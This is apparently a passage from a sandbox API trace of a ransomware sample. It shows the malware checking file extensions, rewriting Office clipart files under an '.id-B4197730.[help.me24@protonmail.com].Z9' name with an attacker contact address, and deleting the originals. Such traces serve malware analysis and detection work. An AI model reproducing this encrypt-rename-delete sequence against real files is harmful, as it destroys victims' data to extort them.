	[0184.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0184.861] lstrlenW (lpString=".jpg") returned 4
	[0184.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.862] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0184.862] lstrlenW (lpString="J0152626.WMF") returned 12
	[0184.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0184.863] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=26248) returned 1
	[0184.863] CloseHandle (hObject=0x37c) returned 1
	[0184.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf")) returned 0x220
	[0184.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0184.868] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.868] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0184.869] GetLastError () returned 0x0
	[0184.869] ReadFile (in: hFile=0x37c, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x6688, lpOverlapped=0x0) returned 1
	[0184.872] WriteFile (in: hFile=0x548, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x6690, lpOverlapped=0x0) returned 1
	[0184.874] ReadFile (in: hFile=0x37c, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.874] WriteFile (in: hFile=0x548, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.874] SetEndOfFile (hFile=0x548) returned 1
	[0184.875] CloseHandle (hObject=0x548) returned 1
	[0184.875] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.875] SetEndOfFile (hFile=0x37c) returned 1
	[0184.878] CloseHandle (hObject=0x37c) returned 1
	[0184.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.879] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152626.wmf")) returned 1
	[0184.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0184.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0184.880] lstrlenW (lpString=".doc") returned 4
	[0184.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.880] lstrlenW (lpString=".docx") returned 5
	[0184.880] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0184.880] lstrlenW (lpString=".pdf") returned 4
	[0184.880] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.880] lstrlenW (lpString=".xls") returned 4
	[0184.880] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.880] lstrlenW (lpString=".xlsx") returned 5
	[0184.880] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0184.880] lstrlenW (lpString=".ppt") returned 4
	[0184.880] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0184.880] lstrlenW (lpString=".zip") returned 4
	[0184.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.880] lstrlenW (lpString=".rar") returned 4
	[0184.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.880] lstrlenW (lpString=".bz2") returned 4
	[0184.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.880] lstrlenW (lpString=".7z") returned 3
	[0184.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0184.880] lstrlenW (lpString=".dbf") returned 4
	[0184.880] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0184.880] lstrlenW (lpString=".1cd") returned 4
	[0184.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0184.880] lstrlenW (lpString=".jpg") returned 4
	[0184.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0184.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0184.881] lstrlenW (lpString=".doc") returned 4
	[0184.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.881] lstrlenW (lpString=".docx") returned 5
	[0184.881] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0184.881] lstrlenW (lpString=".pdf") returned 4
	[0184.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.881] lstrlenW (lpString=".xls") returned 4
	[0184.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.881] lstrlenW (lpString=".xlsx") returned 5
	[0184.881] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0184.881] lstrlenW (lpString=".ppt") returned 4
	[0184.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0184.881] lstrlenW (lpString=".zip") returned 4
	[0184.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.881] lstrlenW (lpString=".rar") returned 4
	[0184.881] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.881] lstrlenW (lpString=".bz2") returned 4
	[0184.881] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.881] lstrlenW (lpString=".7z") returned 3
	[0184.881] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0184.881] lstrlenW (lpString=".dbf") returned 4
	[0184.881] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0184.881] lstrlenW (lpString=".1cd") returned 4
	[0184.881] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152626.WMF") returned 68
	[0184.881] lstrlenW (lpString=".jpg") returned 4
	[0184.881] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.882] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0184.882] lstrlenW (lpString="J0152628.WMF") returned 12
	[0184.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0184.883] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=30812) returned 1
	[0184.883] CloseHandle (hObject=0x37c) returned 1
	[0184.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf")) returned 0x220
	[0184.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0184.884] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.884] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0184.885] GetLastError () returned 0x0
	[0184.885] ReadFile (in: hFile=0x37c, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x785c, lpOverlapped=0x0) returned 1
	[0184.961] WriteFile (in: hFile=0x548, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x7860, lpOverlapped=0x0) returned 1
	[0184.963] ReadFile (in: hFile=0x37c, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.963] WriteFile (in: hFile=0x548, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.963] SetEndOfFile (hFile=0x548) returned 1
	[0184.964] CloseHandle (hObject=0x548) returned 1
	[0184.964] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.964] SetEndOfFile (hFile=0x37c) returned 1
	[0184.967] CloseHandle (hObject=0x37c) returned 1
	[0184.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0185.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf")) returned 1
	[0186.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0186.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0186.294] lstrlenW (lpString=".doc") returned 4
	[0186.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.294] lstrlenW (lpString=".docx") returned 5
	[0186.295] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0186.295] lstrlenW (lpString=".pdf") returned 4
	[0186.295] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.295] lstrlenW (lpString=".xls") returned 4
	[0186.295] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.295] lstrlenW (lpString=".xlsx") returned 5
	[0186.295] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0186.295] lstrlenW (lpString=".ppt") returned 4
	[0186.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0186.295] lstrlenW (lpString=".zip") returned 4
	[0186.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.295] lstrlenW (lpString=".rar") returned 4
	[0186.295] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.295] lstrlenW (lpString=".bz2") returned 4
	[0186.295] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.295] lstrlenW (lpString=".7z") returned 3
	[0186.295] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0186.295] lstrlenW (lpString=".dbf") returned 4
	[0186.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0186.295] lstrlenW (lpString=".1cd") returned 4
	[0186.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0186.296] lstrlenW (lpString=".jpg") returned 4
	[0186.296] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0186.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0186.296] lstrlenW (lpString=".doc") returned 4
	[0186.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.296] lstrlenW (lpString=".docx") returned 5
	[0186.296] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0186.296] lstrlenW (lpString=".pdf") returned 4
	[0186.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.296] lstrlenW (lpString=".xls") returned 4
	[0186.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.296] lstrlenW (lpString=".xlsx") returned 5
	[0186.296] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0186.296] lstrlenW (lpString=".ppt") returned 4
	[0186.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0186.296] lstrlenW (lpString=".zip") returned 4
	[0186.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.296] lstrlenW (lpString=".rar") returned 4
	[0186.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.296] lstrlenW (lpString=".bz2") returned 4
	[0186.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.296] lstrlenW (lpString=".7z") returned 3
	[0186.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0186.297] lstrlenW (lpString=".dbf") returned 4
	[0186.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0186.297] lstrlenW (lpString=".1cd") returned 4
	[0186.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF") returned 68
	[0186.297] lstrlenW (lpString=".jpg") returned 4
	[0186.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.297] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0186.297] lstrlenW (lpString="J0153273.WMF") returned 12
	[0186.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414
	[0186.308] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=20096) returned 1
	[0186.309] CloseHandle (hObject=0x414) returned 1
	[0186.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf")) returned 0x220
	[0186.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0186.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414
	[0186.310] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.310] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0186.311] GetLastError () returned 0x0
	[0186.312] ReadFile (in: hFile=0x414, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x4e80, lpOverlapped=0x0) returned 1
	[0186.314] WriteFile (in: hFile=0x55c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x4e90, lpOverlapped=0x0) returned 1
	[0186.315] ReadFile (in: hFile=0x414, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.316] WriteFile (in: hFile=0x55c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.316] SetEndOfFile (hFile=0x55c) returned 1
	[0186.316] CloseHandle (hObject=0x55c) returned 1
	[0186.316] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.316] SetEndOfFile (hFile=0x414) returned 1
	[0186.319] CloseHandle (hObject=0x414) returned 1
	[0186.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0186.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf")) returned 1
	[0186.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0186.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0186.320] lstrlenW (lpString=".doc") returned 4
	[0186.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.320] lstrlenW (lpString=".docx") returned 5
	[0186.320] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0186.320] lstrlenW (lpString=".pdf") returned 4
	[0186.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.320] lstrlenW (lpString=".xls") returned 4
	[0186.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.320] lstrlenW (lpString=".xlsx") returned 5
	[0186.320] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0186.320] lstrlenW (lpString=".ppt") returned 4
	[0186.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0186.320] lstrlenW (lpString=".zip") returned 4
	[0186.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.321] lstrlenW (lpString=".rar") returned 4
	[0186.321] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.321] lstrlenW (lpString=".bz2") returned 4
	[0186.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.321] lstrlenW (lpString=".7z") returned 3
	[0186.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0186.321] lstrlenW (lpString=".dbf") returned 4
	[0186.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0186.321] lstrlenW (lpString=".1cd") returned 4
	[0186.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0186.321] lstrlenW (lpString=".jpg") returned 4
	[0186.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0186.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0186.321] lstrlenW (lpString=".doc") returned 4
	[0186.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.321] lstrlenW (lpString=".docx") returned 5
	[0186.321] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0186.321] lstrlenW (lpString=".pdf") returned 4
	[0186.321] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.321] lstrlenW (lpString=".xls") returned 4
	[0186.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.321] lstrlenW (lpString=".xlsx") returned 5
	[0186.321] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0186.321] lstrlenW (lpString=".ppt") returned 4
	[0186.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0186.321] lstrlenW (lpString=".zip") returned 4
	[0186.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.321] lstrlenW (lpString=".rar") returned 4
	[0186.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.322] lstrlenW (lpString=".bz2") returned 4
	[0186.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.322] lstrlenW (lpString=".7z") returned 3
	[0186.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0186.322] lstrlenW (lpString=".dbf") returned 4
	[0186.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF") returned 68
	[0186.322] lstrlenW (lpString=".1cd") returned 4
